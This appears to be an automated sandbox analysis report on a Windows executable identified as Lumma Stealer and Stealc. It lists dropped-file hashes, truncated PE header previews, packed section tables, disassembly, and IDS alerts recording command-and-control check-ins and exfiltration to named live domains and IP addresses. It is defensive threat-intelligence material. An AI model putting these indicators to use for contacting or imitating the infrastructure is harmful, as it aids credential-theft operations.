Process:	C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe

Download File

Process:	C:\Users\user\Desktop\niwvNnBk2p.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1719808
Entropy (8bit):	7.9352026475450375
Encrypted:	false
SSDEEP:	49152:nsOhYiSSROeB/Jy2wWtlDfqDIerTqJznimPgJxl:1hh5LJy2wSftSmzXYH
MD5:	44C034B1AD003CD71788ED1DDE918242
SHA1:	5DA0B51A7C41EDEB1E1523528B848868B8890ED0
SHA-256:	B2759942F6A68E744EE51FB4518490BBD4499FBDA2E2F84DA4881781655CBDE9
SHA-512:	30196AD08AC5AEC1E780070AA94756ECA272F2509D3BF9BC2DB53C6150827040DC55396A6DC0ACA2619FB43634227AD60A94921B9A15A9A4A41A23365BCFAECA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`D.. ...`....@.. ........................D.....9\....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... ..)..........8..............@...aviwlvzz.....`*......:..............@...ondpugpz. ...@D.....................@....taggant.@...`D.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe

Download File

Process:	C:\Users\user\Desktop\niwvNnBk2p.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2856960
Entropy (8bit):	6.530872759765761
Encrypted:	false
SSDEEP:	24576:nLk+07DQLpG+lqM89oNkTf4qdbiw6PF1NP5Z5ksZ+fvy2oSnNvmAQ9SJLWsfNp6r:LWL+lw73QVFbyJoSQ9wL7T65qI+1k
MD5:	54FDA3AEEC860324D9E721BF82B9B350
SHA1:	872CA4ADE7427E03993C88062CB5AB0E277A42F5
SHA-256:	15EE29E0C43B3388D79D2202698A751AA77F6226F0F5249D118E6522115A2A18
SHA-512:	759CCDE261A42543CD5E829CD3FEC876ED14EEB888F1295680201A9640C039EC6423ADD1E96AD44C84B138F2CD4094E0EBBA9A0DF0580A5861D972A5CABB7EE1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........N...........@...........................O......},...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wfoskafw..*...$...)..\|..............@...zpagxsbp......N......r+.............@....taggant.0....N.."...v+.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9492346791979145
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	niwvNnBk2p.exe
File size:	1'848'832 bytes
MD5:	8803c4a15774785fbe633e17a7406a5c
SHA1:	05415276f785e41b75db540385a1d2cc4a02df71
SHA256:	4809d808ea0c31090d2b3e72a808983eb189df9a11940fcfef9de7332cd524bf
SHA512:	20de7ce7e40f4edf1e31f0322911aef5f28c0b0c949832d20f3abd5458f85675a09b20a7d2ea6b1011cd80f8796ec0056f1f7e558a0eb362b10b877fd343156a
SSDEEP:	49152:0l5G/edAnjZgZqcySB9TaQT5JyhJemuTgsTFM:0l5G/jZ90B9TaQTOhJe8sTe
TLSH:	8F85330D9FC400F8D4D8E07291F281477C7466E88686C2FFD25A74BDB356E06D2A9AF9
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................PI...........@...........................I.....[.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x895000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5CACE81F1Ah
unpcklps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5CACE83F15h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	9bb89a1c28ea6480fefdb156b1c151f2	False	0.9973980629280822	data	7.981419827927857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a5000	0x200	1edda01a0e1fb2c924947aa9f66babe4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jawbxhtf	0x2f9000	0x19b000	0x19b000	1121aaa230c63cb85866b91988f8fcc0	False	0.9947524616027981	data	7.95397178163041	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zvkfyyaj	0x494000	0x1000	0x400	cc3a46bcf9a279974bc39122fd4f98e3	False	0.8193359375	data	6.2524726716842665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x495000	0x3000	0x2200	5bcefefe9e1aa75d02ec7b1c4b68ba2b	False	0.0642233455882353	DOS executable (COM)	0.7382398973439664	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:35:10.754813+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.7	54053	1.1.1.1	53	UDP
2024-12-19T08:35:11.004801+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.7	64077	1.1.1.1	53	UDP
2024-12-19T08:35:12.471570+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:35:12.471570+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:35:13.271776+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:35:13.271776+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:35:14.504521+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:35:14.504521+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:35:15.341835+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:35:15.341835+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:35:17.400683+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:35:17.400683+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:35:19.720738+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49703	104.21.64.80	443	TCP
2024-12-19T08:35:19.720738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	104.21.64.80	443	TCP
2024-12-19T08:35:22.171661+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49709	104.21.64.80	443	TCP
2024-12-19T08:35:22.171661+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	104.21.64.80	443	TCP
2024-12-19T08:35:24.865567+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49720	104.21.64.80	443	TCP
2024-12-19T08:35:24.865567+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49720	104.21.64.80	443	TCP
2024-12-19T08:35:25.959592+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49720	104.21.64.80	443	TCP
2024-12-19T08:35:28.375991+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49729	104.21.64.80	443	TCP
2024-12-19T08:35:28.375991+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49729	104.21.64.80	443	TCP
2024-12-19T08:35:32.195972+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.7	49741	104.21.64.80	443	TCP
2024-12-19T08:35:32.195972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49741	104.21.64.80	443	TCP
2024-12-19T08:35:33.042398+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49741	104.21.64.80	443	TCP
2024-12-19T08:35:34.498516+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49747	185.215.113.16	80	TCP
2024-12-19T08:35:48.770957+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49778	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:35:11.243453979 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:11.243488073 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:11.243607998 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:11.247328997 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:11.247342110 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:12.471493959 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:12.471570015 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:12.475032091 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:12.475045919 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:12.475564003 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:12.524564028 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:12.536138058 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:12.536138058 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:12.536465883 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:13.271765947 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:13.271887064 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:13.273884058 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:13.276556015 CET	49699	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:13.276578903 CET	443	49699	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:13.287559986 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:13.287611008 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:13.287684917 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:13.287965059 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:13.287978888 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:14.504405975 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:14.504520893 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:14.506141901 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:14.506161928 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:14.506506920 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:14.507858038 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:14.507894993 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:14.507961035 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.341880083 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.342483044 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.342573881 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.342622042 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.342658997 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.343528986 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.343595028 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.343606949 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.344484091 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.345491886 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.350075006 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.350156069 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.350168943 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.367647886 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.367719889 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.367758036 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.415270090 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.461574078 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.509088039 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.509121895 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.533507109 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.533818007 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.533857107 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.537322998 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.537412882 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.537437916 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.537456989 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.537533045 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.537592888 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.537616968 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:15.537631035 CET	49700	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:15.537637949 CET	443	49700	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:16.186604977 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:16.186652899 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:16.186734915 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:16.187207937 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:16.187220097 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:17.400492907 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:17.400682926 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:17.402041912 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:17.402048111 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:17.402299881 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:17.403685093 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:17.403933048 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:17.403964996 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:18.328238010 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:18.328339100 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:18.328448057 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:18.328767061 CET	49701	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:18.328785896 CET	443	49701	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:18.506447077 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:18.506510973 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:18.506623983 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:18.507035017 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:18.507050991 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:19.720561028 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:19.720737934 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:19.722054005 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:19.722069979 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:19.722409010 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:19.723690033 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:19.723846912 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:19.723884106 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:19.723942041 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:19.767354012 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:20.587533951 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:20.587632895 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:20.587723017 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:20.587948084 CET	49703	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:20.587965965 CET	443	49703	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:20.953228951 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:20.953289986 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:20.953407049 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:20.953717947 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:20.953736067 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:22.171489954 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:22.171660900 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:22.179228067 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:22.179241896 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:22.179672003 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:22.181027889 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:22.181206942 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:22.181273937 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:22.181346893 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:22.181355953 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:23.205769062 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:23.205871105 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:23.205929995 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:23.225315094 CET	49709	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:23.225338936 CET	443	49709	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:23.651643038 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:23.651685953 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:23.651819944 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:23.652132988 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:23.652148962 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:24.865432978 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:24.865566969 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:24.866837978 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:24.866847038 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:24.867145061 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:24.868324041 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:24.868603945 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:24.868618965 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:25.959561110 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:25.959656954 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:25.959711075 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:25.959888935 CET	49720	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:25.959912062 CET	443	49720	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:27.164773941 CET	49729	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:27.164836884 CET	443	49729	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:27.164977074 CET	49729	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:27.165328026 CET	49729	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:27.165338993 CET	443	49729	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:28.375919104 CET	443	49729	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:28.375991106 CET	49729	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:28.381010056 CET	49729	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:28.381022930 CET	443	49729	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:28.381321907 CET	443	49729	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:28.389765024 CET	49729	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:28.435343981 CET	443	49729	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:28.440754890 CET	49729	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:35:28.440789938 CET	443	49729	104.21.64.80	192.168.2.7
Dec 19, 2024 08:35:28.440931082 CET	49729	443	192.168.2.7	104.21.64.80
